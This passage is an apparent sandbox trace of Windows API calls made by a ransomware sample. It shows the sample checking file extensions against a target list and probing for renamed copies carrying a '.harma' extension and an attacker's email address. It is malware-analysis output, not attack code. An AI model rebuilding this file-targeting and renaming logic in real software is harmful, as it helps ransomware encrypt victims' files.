Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.233] lstrlenW (lpString=".zip") returned 4 [0176.233] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.234] lstrlenW (lpString=".rar") returned 4 [0176.234] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString=".bz2") returned 4 [0176.234] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString=".7z") returned 3 [0176.234] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.234] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.234] lstrlenW (lpString=".dbf") returned 4 [0176.234] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.234] lstrlenW (lpString=".1cd") returned 4 [0176.234] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.234] lstrlenW (lpString=".jpg") returned 4 [0176.234] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.234] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.234] lstrlenW (lpString=".doc") returned 4 [0176.234] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString=".docx") returned 5 [0176.234] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.234] lstrlenW (lpString=".pdf") returned 4 [0176.234] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.234] lstrlenW (lpString=".xls") returned 4 [0176.234] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.234] lstrlenW (lpString=".xlsx") returned 5 [0176.234] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.234] lstrlenW (lpString=".ppt") returned 4 [0176.235] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.235] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.235] lstrlenW (lpString=".zip") returned 4 [0176.235] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.235] lstrlenW (lpString=".rar") returned 4 [0176.235] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.235] lstrlenW (lpString=".bz2") returned 4 [0176.235] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.235] lstrlenW (lpString=".7z") returned 3 [0176.235] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.235] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.235] lstrlenW (lpString=".dbf") returned 4 [0176.235] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.235] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.235] lstrlenW (lpString=".1cd") returned 4 [0176.235] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.235] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.235] lstrlenW (lpString=".jpg") returned 4 [0176.235] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.235] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.235] lstrlenW (lpString="BabyBoyMainToScenesBackground.wmv") returned 33 [0176.235] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.236] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=117214) returned 1 [0176.236] CloseHandle (hObject=0x1d4) returned 1 [0176.236] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0176.236] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.236] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.236] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString=".doc") returned 4 [0176.237] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString=".docx") returned 5 [0176.237] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.237] lstrlenW (lpString=".pdf") returned 4 [0176.237] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString=".xls") returned 4 [0176.237] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.237] lstrlenW (lpString=".xlsx") returned 5 [0176.237] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.237] lstrlenW (lpString=".ppt") returned 4 [0176.237] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString=".zip") returned 4 [0176.237] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.237] lstrlenW (lpString=".rar") returned 4 [0176.237] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString=".bz2") returned 4 [0176.237] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString=".7z") returned 3 [0176.237] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.237] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString=".dbf") returned 4 [0176.237] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString=".1cd") returned 4 [0176.237] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.237] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.237] lstrlenW (lpString=".jpg") returned 4 [0176.238] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.238] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.238] lstrlenW (lpString=".doc") returned 4 [0176.238] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString=".docx") returned 5 [0176.238] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.238] lstrlenW (lpString=".pdf") returned 4 [0176.238] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString=".xls") returned 4 [0176.238] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.238] lstrlenW (lpString=".xlsx") returned 5 [0176.238] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.238] lstrlenW (lpString=".ppt") returned 4 [0176.238] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.238] lstrlenW (lpString=".zip") returned 4 [0176.238] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.238] lstrlenW (lpString=".rar") returned 4 [0176.238] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString=".bz2") returned 4 [0176.238] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.238] lstrlenW (lpString=".7z") returned 3 [0176.238] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.238] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.238] lstrlenW (lpString=".dbf") returned 4 [0176.239] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.239] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.239] lstrlenW (lpString=".1cd") returned 4 [0176.239] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.239] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0176.239] lstrlenW (lpString=".jpg") returned 4 [0176.239] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.239] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.239] lstrlenW (lpString="BabyBoyMainToScenesBackground_PAL.wmv") returned 37 [0176.239] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.240] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=141214) returned 1 [0176.245] CloseHandle (hObject=0x1d4) returned 1 [0176.246] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0176.246] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.246] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.246] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.246] lstrlenW (lpString=".doc") returned 4 [0176.246] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.246] lstrlenW (lpString=".docx") returned 5 [0176.246] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.246] lstrlenW (lpString=".pdf") returned 4 [0176.246] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.246] lstrlenW (lpString=".xls") returned 4 [0176.246] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.247] lstrlenW (lpString=".xlsx") returned 5 [0176.247] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.247] lstrlenW (lpString=".ppt") returned 4 [0176.247] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.247] lstrlenW (lpString=".zip") returned 4 [0176.247] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.247] lstrlenW (lpString=".rar") returned 4 [0176.247] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.247] lstrlenW (lpString=".bz2") returned 4 [0176.247] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.247] lstrlenW (lpString=".7z") returned 3 [0176.247] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.247] lstrlenW (lpString=".dbf") returned 4 [0176.247] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.247] lstrlenW (lpString=".1cd") returned 4 [0176.247] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.247] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.247] lstrlenW (lpString=".jpg") returned 4 [0176.247] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.248] lstrlenW (lpString=".doc") returned 4 [0176.248] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString=".docx") returned 5 [0176.248] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.248] lstrlenW (lpString=".pdf") returned 4 [0176.248] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString=".xls") returned 4 [0176.248] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.248] lstrlenW (lpString=".xlsx") returned 5 [0176.248] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.248] lstrlenW (lpString=".ppt") returned 4 [0176.248] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.248] lstrlenW (lpString=".zip") returned 4 [0176.248] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.248] lstrlenW (lpString=".rar") returned 4 [0176.248] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString=".bz2") returned 4 [0176.248] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString=".7z") returned 3 [0176.248] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.248] lstrlenW (lpString=".dbf") returned 4 [0176.248] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.248] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.248] lstrlenW (lpString=".1cd") returned 4 [0176.249] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.249] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned 89 [0176.249] lstrlenW (lpString=".jpg") returned 4 [0176.249] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.249] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.249] lstrlenW (lpString="BabyBoyNotesBackground.wmv") returned 26 [0176.249] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.250] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=157292) returned 1 [0176.250] CloseHandle (hObject=0x1d4) returned 1 [0176.250] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0176.250] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.250] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.250] lstrlenW (lpString=".doc") returned 4 [0176.250] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.250] lstrlenW (lpString=".docx") returned 5 [0176.250] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.250] lstrlenW (lpString=".pdf") returned 4 [0176.250] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.250] lstrlenW (lpString=".xls") returned 4 [0176.250] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.250] lstrlenW (lpString=".xlsx") returned 5 [0176.250] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.250] lstrlenW (lpString=".ppt") returned 4 [0176.250] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.250] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString=".zip") returned 4 [0176.251] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.251] lstrlenW (lpString=".rar") returned 4 [0176.251] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString=".bz2") returned 4 [0176.251] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString=".7z") returned 3 [0176.251] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.251] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString=".dbf") returned 4 [0176.251] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString=".1cd") returned 4 [0176.251] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString=".jpg") returned 4 [0176.251] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.251] lstrlenW (lpString=".doc") returned 4 [0176.251] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.251] lstrlenW (lpString=".docx") returned 5 [0176.251] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0176.251] lstrlenW (lpString=".pdf") returned 4 [0176.259] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString=".xls") returned 4 [0176.260] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.260] lstrlenW (lpString=".xlsx") returned 5 [0176.260] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0176.260] lstrlenW (lpString=".ppt") returned 4 [0176.260] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.260] lstrlenW (lpString=".zip") returned 4 [0176.260] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.260] lstrlenW (lpString=".rar") returned 4 [0176.260] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString=".bz2") returned 4 [0176.260] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString=".7z") returned 3 [0176.260] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.260] lstrlenW (lpString=".dbf") returned 4 [0176.260] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.260] lstrlenW (lpString=".1cd") returned 4 [0176.260] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.260] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0176.260] lstrlenW (lpString=".jpg") returned 4 [0176.260] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.261] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.261] lstrlenW (lpString="BabyBoyNotesBackground_PAL.wmv") returned 30 [0176.261] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.261] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=157292) returned 1 [0176.261] CloseHandle (hObject=0x1d4) returned 1 [0176.262] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv")) returned 0x20 [0176.262] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.262] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.262] lstrlenW (lpString=".doc") returned 4 [0176.262] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.262] lstrlenW (lpString=".docx") returned 5 [0176.262] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.262] lstrlenW (lpString=".pdf") returned 4 [0176.262] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.262] lstrlenW (lpString=".xls") returned 4 [0176.262] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.262] lstrlenW (lpString=".xlsx") returned 5 [0176.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.262] lstrlenW (lpString=".ppt") returned 4 [0176.262] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.262] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv") returned 82 [0176.262] lstrlenW (lpString=".zip") returned 4 [0176.262] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.262] lstrlenW (lpString=".rar") returned 4 [0176.262] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.262] lstrlenW (lpString=".bz2") returned 4 [0176.262] 